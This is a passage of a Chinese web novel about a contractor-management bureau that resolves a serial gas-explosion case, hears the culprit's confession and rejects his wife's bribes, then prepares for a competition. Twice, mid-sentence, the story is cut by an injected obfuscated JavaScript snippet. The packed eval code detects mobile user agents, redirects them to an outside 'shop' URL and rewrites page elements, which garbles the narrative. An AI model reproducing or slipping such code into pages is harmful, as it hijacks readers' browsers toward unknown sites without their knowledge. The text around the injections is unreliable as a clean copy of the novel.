男孩更加不解,张开了嘴想让他再次滚,但还没开口,相越就打断了他:“但我很寂寞。我不是契约者,没有能力,只能在这里等着我的同事,很担心他们。” “……你加油?”男孩一脸疑惑地安慰相越。 “谢谢,你很温柔呢。”相越直接坐到地上。 男孩可能是没听过如此肉麻的话,他整个无语住了:“你这家伙在说什么?” “你刚刚明明在哭,现在虽然没哭了,但还是向我说了加油呢。”相越也知道自己很肉麻,但男孩现在最需要的就是这些话,他厚着脸皮继续说。 “哈,这很正常吧!”男孩还是太过年幼,不懂得掩饰情绪。他整个大爆红,跳了起来。 “这一点都不正常。你可以无视我的,但你没有,谢谢。”相越一鼓作气继续道谢。 “……不……用……谢……”男孩一脸傲娇地回道。 对此,相越只是一脸平静地笑着注视男孩。 僵持数秒,也许是相越那些略显肉麻却真诚的话终于起了作用,男孩——也就是渡边——对他有了信任。他深吸一口气,支支吾吾地道:“……我可以……拜托你帮我找老爸老妈吗?” “他们有什么特征?”终于讲到正题,相越立马换上认真的神色询问道。 “我爸是皐月会社的社长,名为高桥匠平,妈妈是家庭主妇,名为渡边昭子。”渡边回答道。 这句话实在是太过于令人震惊,相越一时之间失去了言语的能力,他摇了摇头,看向附近,确实没有高桥的踪影。 不过这下子,他安慰的时候底气也足了很多。虽然还有很多疑问,但还是暂时没理会。他再次换上了官腔:“我不敢保证这个任务可以成功,但是我们契约者管理科的员工正在努力搜寻他们。高桥夫妇是我们的重点搜索对象。还有同事随身保护他。” “真的吗?”渡边听到前半句的时候脸色黯淡,直到后面才亮起来,把现在所有的希望放在他身上。 “真的。你知道最近的煤气爆炸案吗?高桥夫妇身为有关人员,我们正在为此采取一些行动,比如派遣了一名强大的契约者保护他们。” “就是那个粉色双马尾的女人?我妈妈也是契约者,她看上去比我妈妈弱多了。” 相越点点头,眼见对方还是不相信的样子,他又加了一句:“你是没见过新宫桑打人的样子,非常恐怖。” 他学着新宫的样子,挥舞双手,说完就打了个颤,努力逗笑渡边。 果然渡边被相越滑稽的样子逗笑了。 相越想着渡边这应该是没问题了,就站起身,示意渡边走到副局长身边,让副局带着他。他则是继续去安抚其他人。 在相越没看到的角落里,副局确认屋内的人数除去高桥夫妇还有岩田外,人都齐了后,便走到一开始局长安慰的孩子旁边,蹲下轻声问道:“我可以观察一下你吗?这样才能变出你的分身。” “当然,谢谢大姐姐!” 得到了孩子的同意,她睁大双眼观察孩子的样貌。 不一会儿,变出了女孩子的分身。用分身逗乐了孩子,确定精神状态无碍,才安心离开。 副局回到安排秩序的工作中。 过了一会儿,契约者管理科的众人还有一对中年夫妇一同走出大宅,来人就是高桥夫妇。一见到父母,渡边立马冲到母亲怀中,相拥而哭。高桥则是站在一边摸摸儿子的头。 面对如此感人的场景,局长只是走到新宫身后,对着被新宫身影挡住的男子问道:“所以岩田先生,你可以和我们到局里喝杯茶吗?” 10. 煤气爆炸案(完) “所以,岩田先生,你可以和我们到局里喝杯茶吗?” 男子——也就是岩田——只是笑了一下,随后数块正在燃烧的木板、砖头腾空飞起,向局长和其他几人飞去。 “你这家伙还敢动手动脚?看是我们死得快,还是你吧。”新宫大吼一声,拿着大锤子直接朝岩田挥去,把他击打在地面上。他趴在地上动弹不得,吐了口血。趁着吐血失神,几人赶忙避开攻击,而今长谷更是快人一步,举起手刀,朝他后颈打去,令他昏迷。 趁着岩田昏迷,相越、地井和局长迅速带着高桥上了车,以最高速径直驶向办公室。幸好夜晚汽车少,道路极其空旷,所以如此的乱来也没出事。 而今长谷、新宫和副局则是开另一辆车,带着岩田到办公室。新宫和今长谷坐在后座,包围住昏迷的岩田,往他口中塞安眠药,防止他在汽车行驶时醒来再次暴动。 同时,新宫则报告自己都监视到了什么。 原来,在高桥回去后,就决定了第一个敲打的对象是身为公司大经理的岩田,随后就鲁莽地让岩田到自己家。 期间新宫也有劝阻,说这样太过鲁莽,万一对方就是凶手,刺激到对方,可能就会出事。但高桥只是笑笑说:“我和那小子熟得很,是大学的朋友。” 反正就是怎么劝阻都没用,就是一心要作死。不过正如高桥所说,一开始的氛围确实很温馨,两人一直在谈家常和公司的事,没有任何奇怪的地方。 直到聊到两个儿子和他们的将来后,就开始诡异起来了。最后岩田浑身充满了杀气,“那你死吧!” 话音刚落,伴随着数次爆炸声,强大的冲击波席卷而来,带来足以让人意识不明的热气和黑色气体。 事情发生得太过突然,高桥夫妇俩呆坐在原地,没能接受好友欲要加害自己的事实。 另一边,新宫一直在警惕着岩田,因此当爆炸一发生,她就拎起大锤,重重地向他挥去。 但无奈室内可供岩田差遣的物体过多,锤子还没靠近岩田,便被飞来的数块大木板阻拦。物体破碎,掉到地上,挡住了新宫的视线,岩田趁此打开大门想要逃走。 只有一个人能做的事情实在太少,新宫实在是无法同时对付岩田和保护高桥夫妇。她只能暂时放下对付岩田这个任务,用锤子把高桥夫妇挥到另一边的走廊,便跟上两人,走之前还不忘提醒呆愣着的两夫妇:“快逃!” 新宫一路上不断破坏岩田设下的障碍物,披荆斩棘。转过几个弯,就看到岩田在前方奔跑。原来两边的走廊最后会合成一条大走廊。 灰白的烟雾从四方飘来,背后紧贴着新宫的两人只能弯着腰走路,速度并不快。 距离大门还有一段距离,岩田一定会一边用能力阻碍自己,一边逃跑的吧。新宫心下不妙,她的能力“不死”是只能保护自己却不能保护他人的废物能力,什么都做不到,所以她才会对保卫高桥夫妇这个任务感到不满。 一时间,脑内便浮现起过去的画面——只有自己毫发无损获救的画面。 紧张的念头让她不自觉地吸进几口燃烧气体,胸口一阵阵抽痛,让她意识到自己那因一直使用能力而沉重的身体变得痛苦起来,生出想要放弃的念头。 灰暗的念头一出现,她便再吞一口气到肚子里,来自肺部的刺激变得更强,头脑收到刺激,清明起来,只集中于当下的事情。 既然如此痛苦的事情已经开始,再经历几次,痛苦的感觉就会习惯,变成麻木。一直以来,她都是这样,以后也不会变。现在的她不再弱小和痛苦,所以同样的事情绝不会让其发生! 更何况,这次并不是只有自己,还有局内的同事。尽管都是一群奇葩,但却很可靠。她相信那群奇葩很快就会赶来,现在只要做好自己要做的事情就好。 如此想着,新宫加快了脚步,奔向前方,把所有的障碍物一一粉碎。借助助跑和重力的力量,构成了一次强大的攻击,锤子直直向岩田挥去。正所谓攻击是最好的防御,只要把敌人揍死了,就不会有敌人把应要保护的对象偷死的道理了。 正如新宫所想,这招很有效。本就因氧气不足,一直弯着腰躲避气体的岩田,虽留意到新宫突如其来的攻击,也操控了几块物件飞向新宫,但体力快到极限的他,终究抵不过大力出奇迹的新宫,飞翔的物件完全没能阻拦住新宫这次强劲的攻击,攻击径直落到岩田头上,把岩田重重砸向地面。 同时,强行突破妨碍的今长谷和副局分身到达战场,把还在死死挣扎的岩田束缚住,带上在后面拼命跟上新宫、但体力不够而落后的高桥夫妇逃跑。 但一接近外面,岩田就能够呼吸到新鲜的空气。本来就经常锻炼、拥有强健体魄的他,体力有所恢复,便想逃跑,才会再次攻击众人。 事情的经过大概是明白了,但是为什么提到儿子的时候,岩田会如此激动,甚至要让高桥死呢?之前最多也就是脑震荡而已。于是今长谷更详细地问了谈话的内容。 “好像是谈到儿子们的将来的时候吧?高桥问你‘还没想好吗?让你儿子将来也成为皐月会社的员工’的那件事。”新宫在护卫的时候,一直在旁边听着几人大致的对话,一边在脑中回忆着,一边述说。 一听到这句话,今长谷眼前一亮,立马明白为什么岩田会想要杀害对方了。 在今长谷看来,虽然岩田也是高桥的契约者,但他身为高层,是既得利益者,不会有作案的理由。就算言语间透露出怜悯下层员工的意思,也不会为此破坏自己获得利益的工具——也就是公司。 要知道煤气爆炸案会损害公司的名誉,令公司的利益受损。这点,他身为商人不可能不懂。除非有什么威胁到他,为此他需要损害自己的利益去进行赌博,那就是他的儿子了。 因为害怕儿子也会步上他的后尘,成为皐月会社的员工,所以才利用煤气爆炸案动摇公司的名誉,以此威胁高桥。 但这还是说不通,因为高桥对此并不知情,甚至还很信任岩田。在知道了岩田身为自己的契约者、有可能伤害自己后,还是第一时间就跑去和他聊天。 如果岩田想要威胁高桥的话,应该在一个多月前的煤气爆炸案就告诉他,威胁他,让他放弃岩田的儿子了吧。除非那并不是岩田制造的爆炸。 还是缺少一点东西。感觉关键在于第一次的事件,那到底是怎么发生的?今长谷还没把资料看完,所以她问副局:“第一次煤气爆炸案的原因是什么?” 副局没回过头,直视前方,不断操作汽车:“你竟然不知道?那就是一起因金属疲劳、管道破损、煤气泄漏而爆炸的很普通的煤气爆炸案。” “咕……” 这确实是她的错,因为自己的情绪,把工作放在一边,做无谓的事情。她应该收到资料的第一时间就看完的。 今长谷摇了摇头,把思绪继续放到猜测上。她的眼睛又亮了,和一开始想的一样,第一次的煤气爆炸案和岩田无关。恐怕岩田一直心有不忿,但无奈自己是高桥的契约者,低人一等,所以只能忍着。 直到那次爆炸案,发现自己竟然有方法杀死高桥、摆脱契约。之前日积月累的不满立马爆发出来,引发了一个月前第一次由岩田亲手引起的煤气爆炸案。 之后的几次,只是试探和玩耍。高桥不是契约者,没有能力,在世人看来才是低人一等的那个,但因为契约的原因,位于岩田之上。直到这次事故,岩田重新取回了自己的优越感,不停地制造事故引起高桥的恐慌,玩弄他的心情,以此为乐。最后高桥甚至烦恼到闭门不出,不前去工地巡查,也不到公司了。 但直到高桥突然传唤岩田,并问:“你还没想好吗?让你儿子将来也成为皐月会社的员工的那件事。” 一番话和一次紧急的呼叫,让岩田想起来自己才是低人一等的那个,自己现在所拥有的一切都是高桥给自己的,只要没了高桥,自己就什么都不是。同时也想到现在正是元月,是升学考试的时候。在这段时间,不能让自己的儿子因为这件事考试失利。 再加上不能让儿子的未来也被紧握在这家人的手里,就冲动地再次引起了煤气爆炸案,想置他于死地。 但岩田还是太过于冲动了,确实,在得到第一次煤气爆炸案工作人员的清单后,他的嫌疑就变得极大。毕竟每次都能参与之后的煤气爆炸案的人,也就只有拥有权利的高层了。 只是这充其量只是猜测,还没有证据证明是岩田犯下的罪行。这次事故相当于是自爆了。该不会岩田一开始就想着要同归于尽吧? 想到这里,今长谷不禁感叹道:“幸好去监视的是新宫桑,不然的话,恐怕他们真的要同归于尽了。” 面对今长谷难得的称赞,新宫虽不明所以,但还是骄傲得像只开屏的孔雀:“那是当然,本小姐办事你放心就好。” 副局吐槽道:“虽然我不觉得今长谷这是称赞,不过还是得说一句——新宫,你救下了他们几个,真的是太好了。接下来就交给我们吧。今长谷,你已经想到他醒来要怎么应对了吗?” “大概。”想到刚才的失误,今长谷还是未免有点心虚。 “肯定点呀,我可不想办公室爆炸啊!上头肯定会絮絮叨叨,烦死了。”副局想到自己在睡梦中突然被吵醒的恐惧,不禁发颤,又吐槽道。 今长谷想到自己的猜测,总觉得不会发生,不过她还是保留了几分余地,问道:“副局,你已经通知岩田的家人了吗?” 副局了然:“当然。岩田犯下这么多罪行,肯定是要进狱的了。” 今长谷扬起一抹笑:“那就可以了。” -- 岩田睁开双眼,便是陌生的会议室。自己的家人坐在一旁,担忧地看着自己,以及坐在对面的、自己这个世界上最憎恨的人——高桥匠平。 “岩田桑,你醒来了啊。身体有任何不适吗?”一道女声传来。 岩田抬头一看,就见到一旁站着新宫家的大小姐和一个乳臭未干的小子,以及声音的主人——一手刀弄晕自己的罪魁祸首——今长谷直生。 今长谷直生假惺惺的问候还没完,岩田就感觉有什么冰冷的东西抵在自己的脖子上。 岩田向下望去,便能看到冰冷的刀身抵在自己的脖子上。他明白眼前的这个女人是认真的,只要自己不从,她就能一瞬把自己还有自己的家人都杀了。这也是他绝不愿意见到的。 现在岩田能做到的,也就只能主动承认,要求减刑了吧。 虽然没能杀死仇人,把其他员工也救出来,但至少儿子能逃出高桥的魔掌。那就可以了,目标算是达成了。岩田如此想着,淡定地说:“你还有什么想问的?一个月前开始的四起连续煤气爆炸案都是我干的。” “你的目的是?” “看到高桥匠平惊慌的表情。” 闻言,坐在对面的高桥瞪大了双眼,似是很不可置信的样子。看到他那样的表情,岩田生起一股快意。你没想到吧,自己最信任的心腹,竟然对你恨之入骨到想弄死你的地步。可见你做人是有多失败。 今长谷没管两人的暗涛汹涌,只是继续打官腔:“明白了。算上连续煤气爆炸案,还有高桥家的爆炸,你是必定入狱无疑的了,甚至有可能是无期的。所以现在还有什么话,想和各位说的?” 一听到这话,岩田的家人立马惊慌起来,他的妻子甚至跪在了地上:“求你了,减刑吧。他只是一时糊涂,而且实际上也没有受害者,不是吗?” 他的妻子说是减刑,但其实是希望岩田不要进监狱。在场的所有人都知道,进了监狱,无论多长的刑期,最后都出不来。据说里面就是这样的一个地狱。 据说在契约者刚出现的时候,确实有契约者利用能力为所欲为过,但后来都被抓进监狱,有来无回。而之后只要契约者犯事,基本上都会被抓进监狱,就是因为有如此严苛的规则和强大的契约者驻守在契约者管理科,所以才能维持社会的秩序,令无能力者能够安心地生活。 今长谷身为契约者管理科的人,更明白这个道理,所以她不会有任何一丝的犹豫。她明白,只要她有犹豫,那都是对人民安全的威胁:“抱歉,这是法律规定的。岩田桑,请向各位传达你最后的话语吧。” 今长谷特意强调了“最后”这个词,提示岩田所剩的时间不多了。 “……” “由美,对不起,都是因为我的冲动,才会酿成这一切。我还有很多存款,你就和优两个走到一个不认识我的地方,安静地生活吧。” “你在说什么呢?你一定不会进去监狱的,是吧?”由美——也就是岩田的妻子——还不相信这一切,她转过头看向今长谷。对此,今长谷还是摇了摇头。 由美又转向其他人,相越、副局也纷纷摇了摇头。 最后只剩下局长和新宫大小姐。由美似乎也认得这两人,她对局长说:“局长,我记得你是无能力者吧?” 局长点了点头。 “天哪,想必你一定很不安吧?毕竟手下的员工除了今长谷桑,都是契约者。我老公是皐月会社的高层,你也知道皐月会社是新宫最大的地产商吧?只要你保证他可以出去,我就让皐月会社一直支持你。”由美谆谆善诱着。 对如此有诱惑力的条件,局长没有丝毫犹豫,立即打官腔道:“抱歉,公职人员不接受贿赂。” 见局长油盐不进,她又把目标投向新宫大小姐:“新宫桑,我记得你一直都很想卖掉新宫市的一块地吧?” 新宫黑了脸,但还是点了点头。 “你也知道我老公是皐月会社的高层。如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496105|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他出去,我就让他暗中操作,让皐月会社开一个比市面更高的价格买,好吗?” 新宫也是一个商人,她唯利是图,但:“抱歉,公司事务这方面我不懂,请和我的管家地井联络,谢谢。” 见新宫油盐不进,由美的眼跳了跳,还想要继续劝导两人。岩田明白自己的命数已尽,他起身,瞬间来自一旁的杀气大增。岩田没管,只是抱住了由美:“对不起,让你陪我这么久了。我进去之后,你就忘掉我吧。” 一听到这句话,由美刚才还绷住的情绪瞬间崩溃,放声痛哭起来:“你在说什么啊?我才不会抛弃你啊!我一定会好好抚养我们的孩子,还有想办法去找你的。” 岩田的眼角也流出一滴泪水,他哑声道:“不要去找我了。我做了好多错事,没能把公司的员工救出来。不过至少有一件事,我做对了。这次过后,高桥那家伙肯定暂时不敢再找他们麻烦了。趁这段时间,要逃得有多远就多远,让他再也找不到你们。尤其是优,绝对不能成为高桥匠平那家伙的契约者,你知道了吗?” 随着父母两人哭出来,一直在一旁沉默的岩田儿子优也哭了起来。听着父亲的嘱咐,他抱住父亲的大腿,哭喊着:“我知道了……爸爸……你不要走……” 同样在沉默注视岩田一家的高桥,听到对话的内容后,也反应过来,他站起来问道:“我从来都没想过要让优成为我,或者我儿子的契约者啊!” “欸?”岩田呆愣地盯着高桥。 高桥继续说:“我确实做错了很多事情,利用员工的家庭背景,强迫员工成为我的契约者,大量加班,收入只是刚刚好踩在不犯法的边缘。但我只是想着,如果将来你儿子也进来为我儿子效力的话,一定犹如我当初遇见你那般,成功创业或是带来很大的帮助。之后你拒绝了,我就没想过了。不过还是不死心,所以又问。没想到你反应那么大。” “怎么可能?你这是在狡辩。你一定在想着,要是我儿子不成为你的契约者的话,就威胁各个学校踢走我儿子。” “怎么可能?我又没有那么大的力量。这件事的话,只有新宫家的人才能做到吧!” 突然被提到的大小姐炸了毛,纠正两人错误的想法:“怎么可能?我也做不到呀!我只是一个城市的地主,顶多威胁这个城市的人。” 被新宫一打岔,岩田才接受了是自己误会了的事实。他身体一软,大喊着:“怎么可能!” 怎么可能因为这样滑稽的原因,犯下了罪行,沦落到现在的地步?这样,自己不就是一个小丑了吗? 眼看犯人情绪不稳,今长谷把刀尖重新抵回他的脖颈上,并比以前抵得更近了,不需一秒,他的人头就能落地了吧。 同时,新宫走到岩田旁,在他的耳侧悄悄地说了一些话。岩田的情绪才平静下来,但还是心有余悸的样子。于是今长谷决定再加一剂猛药:“这样吧,我保证本局不会办理任何岩田优为契约者、渡边达也或高桥匠平为主的契约仪式。” 是的,所有的契约的签订都需要在契约者管理科办理,所以他们才会有所有契约者的资料。 这句话可以说很好地击中了痛处,岩田彻底平静下来:“我明白了,我会进狱的。最后……” “对不起,匠平……” 岩田留下这句话,就和新宫一起离开了会议室,前往监狱科了。 -- 一个月后,相越和今长谷一如既往地一同前往上班。两人走着,闲聊了起来。 “直酱,听说皐月会社被收购了。”相越兴奋地向直酱报告自己看到的喜事。 “我知道,今天的新闻头条都是他们。”今长谷一脸诧异地看向相越,似是没想到相越竟然会看新闻。 不过这种欣慰的心情也被他的下一句话弄没了:“是哪家公司收购他们的呀?” 今长谷没想到他看新闻竟然只看一点,她叹了口气,回答道:“是……” 今长谷还没说完,就有一辆车随风而过,停在两人旁。车窗打开,便是新宫大小姐的脸,看来她也正在上班的路上。 “早安,庶民的两位。今天又是走路到办公室,不累吗?要本小姐载你们一程吗?” 今长谷斩钉截铁:“不用了,谢谢。” “真是一如既往的绝情呢。比起这个,看到新闻了吧?”新宫像个孔雀一样开了屏,生怕对方不知道是他们家收购的。 对大小姐这幅样子,今长谷忽然起了逗弄的心思,否认道:“没有呢。” “你这家伙怎么可能会没看新闻啊!是我们家呀!我绝不允许如此黑心的公司出现在新宫市里,所以我把它收购了。”新宫洋洋得意道。 虽然新宫这个样子非常的孩子气,但不得不说,只要在她手下,员工一定能有很好的待遇——当然,除了某个管家以外。此外,她又联想到之前岩田在听到大小姐的窃窃私语后就莫名放弃了。之后今长谷也有问过她,但她愣是不说。看来从那时候就开始策划了吧。不,也有可能比那更早。 想到这里,今长谷真诚地称赞道:“是的,真不愧是新宫大小姐。能想到他们的契约条件是成为皐月会社的员工,而不是高桥匠平公司的员工,这个文字上的漏洞。这样的话,只要不把公司改名,就可以让他们继续在公司工作了。以后甚至可以让他们到同名的公司上班。” 闻言,新宫大小姐脸上雀跃得不行,嘴里却傲娇地对驾驶座的地井喊道:“你看,今长谷这家伙竟然称赞别人了,她吃错药了吧,哈哈哈……” “什么叫‘竟然称赞别人’啊?说得我好像嘴里没有好话那样……”今长谷脸上隐约出现了一点红晕,想否认对方的话,但越说越没有底气,声音低了下来。 果然新宫桑很喜欢前辈,虽然嘴上总是嫌弃,但一被称赞就高兴得不得了。不亏是直酱,到哪里都是这么受欢迎。相越如此想着,笑着注视这两人的对话。虽然打破两人的气氛,回去又要被直酱念叨。想起曾经被直酱发火的事,他露出了一个甜蜜的苦笑。 心中期待雀跃,直酱会不会又骂自己,所以他刚刚才会假装没有把新闻看完整。事情如预想的不太一样,有点不满,于是他打开手机,对两人说:“前辈,还有半小时就要迟到了。” 两人同时惊呼:“不好……” “快上车!”新宫打开车门让两人进入。 今长谷立马拽住相越到车中。相越没得到意料之中的结果,但获得了更好的奖励,他嘻嘻地笑了出来。 地井一脚踏下引擎,飞速赶到办公室。 几人一进去,就见到愁眉苦脸的副局。她看到几人后呆滞了一瞬,随后又开始唉声叹气,并向几人打招呼道:“早上好,欢迎回来。你们几个一起来的啊,真稀奇。哎,又来了……总部的竞技大会。真麻烦。” 11. 竞技大会(一) “早上好,欢迎回来。你们几个一起来的啊,真稀奇。哎,又来了……总部的竞技大会。真麻烦。” 一听到这话,新宫大小姐顿时不平静起来,抛下一旁护送她上班、默默离开的地井,扑到副局身前:“早上好!比起这个,竞技大会去年夏天不是才办完吗?那群狗眼看人低的家伙被今长谷打得落花流水,还敢来?” 被新宫过大的声量吓了一跳,副局一抖,向后退一步。而这个间隙被相越留意到,他插入两人中间,问出了对他这个一无所知的新人来说一个最基本的问题:“早上好,那个,竞技大会是什么?” “欸!你连这个也不知道?”新宫惊叫起来。接二连三的惊叫声吵醒了正在办公室睡觉的局长,他打着呵欠,打开了门,缓缓走出来。 “早上好,怎么了?一大早的就这么吵,又有事件吗?那就交给你了,今长谷。我回去睡觉了。”局长插入几人的对话,无视了相越的问题,并轻描淡写地把工作交给今长谷。 今长谷虽然喜欢工作,但不代表她就能毫无怨言地被这样一个上班睡觉的家伙命令,所以她也无视了相越的问题,怼了回去:“早上好,副局长,局长。其实是因为竞技大会又要举办了,所以新宫桑才会如此激动。本来我也想出场的,但因为我要工作,所以今年的竞技大会战力大赛,代表就由局长担当吧。” “欸,代表当然是我们新宫市的最高战力——今长谷直生吧。我个糟老头子进去只有被虐的份啊!”局长一听到这话立马清醒起来,不服老的他,不只是大叔,还自认是老头子了,可见有多不想参加竞技大会。他退后几步,似乎要是真的让他成为代表的话,他就直接跑路了。 副局在一旁小声嘀咕:“三十岁不到就自称糟老头子,要不要脸。” 局长装作没听见,继续与今长谷对峙。 对如此惊慌的局长,今长谷只是淡淡地笑了:“谢谢局长的称赞,最高战力什么的,那还真是不敢当啊。而且最高战力难道不是局长吗?想当年,局长参加竞技大会战力大赛,连续几年成为冠军,在江湖打响了我们新宫市契约者管理科的名声。这几年名声有所衰弱,局长难道不想去重振名气吗?” “你在说什么?自从今长谷加入我们新宫市契约者管理科,我们真是如虎添翼,大大增加了我们的战力。在这几年,连续夺冠。我这种老头子就应该退居三线,看年轻人活跃了。” 局长被副局吐槽了,还是继续以老头子自称,新宫在后面翻了个白眼。 眼看两人的争论一时之间难以结束,副局插入两人之间,张开了手臂,挡住两人:“够了,大清早的又开始辩论了是吧。比起代表,还是先回答新人的问题吧。” 两人转过头,看到因为无法插入两人激烈地争论而露出无辜神情的相越,和一脸无语的新宫。今长谷一脸抱歉道:“抱歉,新人,我忽视了你。” 闻言,相越收起所有演技,脸上淡然自若,但又暗戳戳地加重了某两个字的语气:“没事,只要前辈记得我那就行了。” 听到“记得”两字,再看到相越一脸平静,仿佛什么都没发生般,今长谷忽然心一痛,想起之前她故意假装忘记他,那时他非常委屈,自己却逃跑了。这次自己又无视他的感受,自己真是大错特错啊。 今长谷叹了口气,回想起刚才被自己忽视的问题,回答道:“……竞技大会其实就是总部举办的运动大会,基本上所有项目都不能使用能力,除了战力大赛。” 眼看今长谷回答自己,相越立刻收起所有表情,无视旁边一脸鄙视地看着自己的新宫,专注与今长谷的对话,问道:“战力大赛?就是那个会向公众直播的比赛吗?我之前好像也有看过?” 此乃谎言,其实不只是看过,是反复看了无数遍——今长谷出场的那几年,他一有空就拿出来看。看到每一根头发飘向哪个方向都记得,而此时此刻下载了的视频还在他的手机里,只是对着真人就不需要视频来排解寂寞了。 而这样的相越为什么会装作无知的样子发问呢?也仅仅是为了吸引今长谷的注意力。 这招果然有用。再装装可怜,今长谷所有的注意力都放在了相越身上,并一一解答他的问题。 “是的,它是竞技大会唯一一个会向公众直播的比赛,为了向大众展示契约者管理科人员的强大。之前我也有参加过,表现不佳让你见笑了,就不多提了。” 相越眼睛一亮:“果然是那个比赛,我看过!前辈是上届的冠军,那前辈就是最强的?” 听到“最强”两字,今长谷转过头,神色有点低落,看向被副局控制住的局长:“并不是我,最强是局长。” “你……” 局长刚想反驳,就被副局用手掩住了一张一合的嘴巴:“唔……唔……唔” 相越也瞥了一眼局长,他觉得今长谷只是太谦虚了,没在意,也没反驳。 今长谷露出了无语的神情,随后又转回去,问道:“所以竞技大会什么时候举办?” 眼看终于讲到正题,副局松开被控制住的局长:“明天开始,为期三天。我就不去了,就你们几个去吧。” “这也太紧急了吧!”新宫刚才因目睹男绿茶和带有厚重滤镜的某人而露出的无语神情,马上就改为对总部的不满。 “确实很紧急,而且还没说出任何详情,只让我们好好期待。”副局挠了挠头,随后宣布道:“今年可能会改变形式,代表什么的等到时候再说吧。今天就要出发到总部,所以你们几个就快点回家收拾东西。回来就出发吧。” 很快,几人就被副局踢出了办公室。新宫就打电话让刚刚离开的地井来接自己,而今长谷和相越则是一同回家收拾行李。 两人一同走着,不久就到了家门。今长谷背对着相越,准备走进门。 “直酱,竞技大会有什么需要带的?” 闻言,今长谷停下脚步,思索片刻:“我也不清楚。以往的话,是会预定酒店,提供食宿。酒店的用品也很齐全,所以不需要带很多物品。但这次不知道他们会搞什么事情,还是把想到的都带上吧。” 话落,就打开门:“请进。我家里有不少东西,请带点走吧。” 相越彻底愣住了。他原本只是想试探一下,没想到会如此顺利。这一个月,两人每天下班后都会到婆婆面馆吃晚饭,吃过就一同回家。而每次到门口,就没有下文了。所以相越一直都想窥探里面的风景。他兴奋地向里面看去,只需一眼就大吃一惊了。 这真的是直酱的家吗? 毫无生活气息。 里面的格局与自己家完全一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496106|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样:一个卧室,一个厨房和洗手间。但装修整体是简约风,颜色主要是黑白为主。明面上,除了一个过于巨大的冰箱、木桌子还有椅子以外,完全没有摆放任何物品。书架上空空如也,厨房上也没有任何烹饪道具,床上的被子被叠成一个方形。 可以说,房子整洁过了头。如果不是直酱从柜里取出两对拖鞋,相越可能会以为这是刚刚装修好的新房子。 “直酱,你家里也太空旷了吧。” 原本想到要进入直酱的房间、有些燥热的身体,看到这性冷淡的装修风格立马冷却下来,让他不禁感叹道。 但一走进去,空气中似有似无的气息,还是重新燥热起来,让他想给自己几巴掌,冷静一下。 后悔说出刚才的话,想立马走出去——这里给人的刺激太大了,不应该小看的。但现在又走出去,未免显得奇怪。他只能僵在门口,等待直酱赶快拿完东西,冲回家冷静一下自己。 “确实,家里没什么东西。请坐,抱歉时间紧急没办法泡杯茶招呼你。趁我把物品拿出来之前,休息一下吧。”今长谷一愣,随后又头也不回地继续蹲着身子,寻找里面的物品。 “好的。” 眼看没法收回自己的话,相越应完后,随意找了个椅子坐下。 两人又陷入沉默。 他一直坐着无事可做,只能盯着天花板发呆。今长谷家没有任何装饰,没有可以观察的地方。 但燥热的大脑无法放空自己,进入色即是空的状态。 不知不觉间,相越的视线移向白色的床。以他优越的视力,能看到床单上有一点点微不可见的皱褶,显示出这个家有人生活的痕迹。 只一眼,相越就想象到今长谷平日夜晚闭着眼,蜷缩着身子沉睡的样子。想到这里,他的身体更加僵硬和燥热了。 今长谷回看一眼:“你……” 还没说完就闭上了嘴。 察觉到相越的视线,今长谷刚才只顾着想要把东西交给他,没意识到两人的差别。现在也不是七年前的两人了,有了距离感。你看,只是因为进屋,他就紧张得不行。之前明明更亲密的都做过了。 这样想着,今长谷不免有些失落。不过这样的想法只持续了一瞬,就想给自己扇几巴掌,让自己清醒过来。这不都是自己的错吗?因为自己才会引发七年前的事件,让相越落到这种地步,欠他的太多了,根本还不完。自从局长决定两人成为搭档后,不就下定决心要不带一丝邪念,好好对他吗?别忘了,你不配。 两人就这样尴尬地不敢看着对方。 今长谷加快了速度,想要快点把物品交给他,然后自己一个人在家里收拾东西,顺带冷静下来。 另一边,相越也是这样想着。在这个空间内,感受着直酱的气息,还能看到直酱站在自己面前工作的模样,让他的身体燥热得不行。 同时想象自己和直酱共处一室、一起生活的美好画面。这个妄想如果是真的,那该是多么幸福啊? 眼球传来的信息却无时无刻地告诉他,现在的他们是不可能的。直酱站在厨房,自己则是坐在角落里,与自己的距离太远。自己也可以站在厨房的那一天,到底什么时候到来呢? 相越并不知道答案,只知道现在这一刻,对他来说既幸福又痛苦。 12. 竞技大会(二) 相越取过物品后,两人就各回各家收拾自己的物品去了。 收拾好,又一同回到办公室。 回到办公室就见到一脸不耐烦的副局和一脸颓废的局长:“太慢了,你们这些家伙,要收拾什么东西收拾那么久?” 虽然知道副局没有恶意,但相越还是反应性地走到今长谷身前,挡住她:“抱歉,因为我刚搬到新居,所以物品不齐全,这才妨碍了前辈收拾东西。” “才不……”今长谷想否认,但相越坚定地转回身,摇了摇头,让她不要再说了。 “……”今长谷这才弱弱地点了点头,闭上了嘴。 下一瞬,副局骂骂咧咧的声音又传来,但却不是指责两人,而是不在场的新宫:“今长谷的动作确实是比平时慢了很多,但也还能接受。所以新宫这家伙什么时候到?” “要不你问一下新宫桑?”相越挡在今长谷身前,所以没留意到今长谷诧异的神情,只是冷静提议道。 “要是我可以问到那就好了,那家伙是个电脑白痴,连打电话都不会!没有手机!”副局同样没有留意到今长谷的变化,只是在听到这个建议后,就变得抓狂起来。 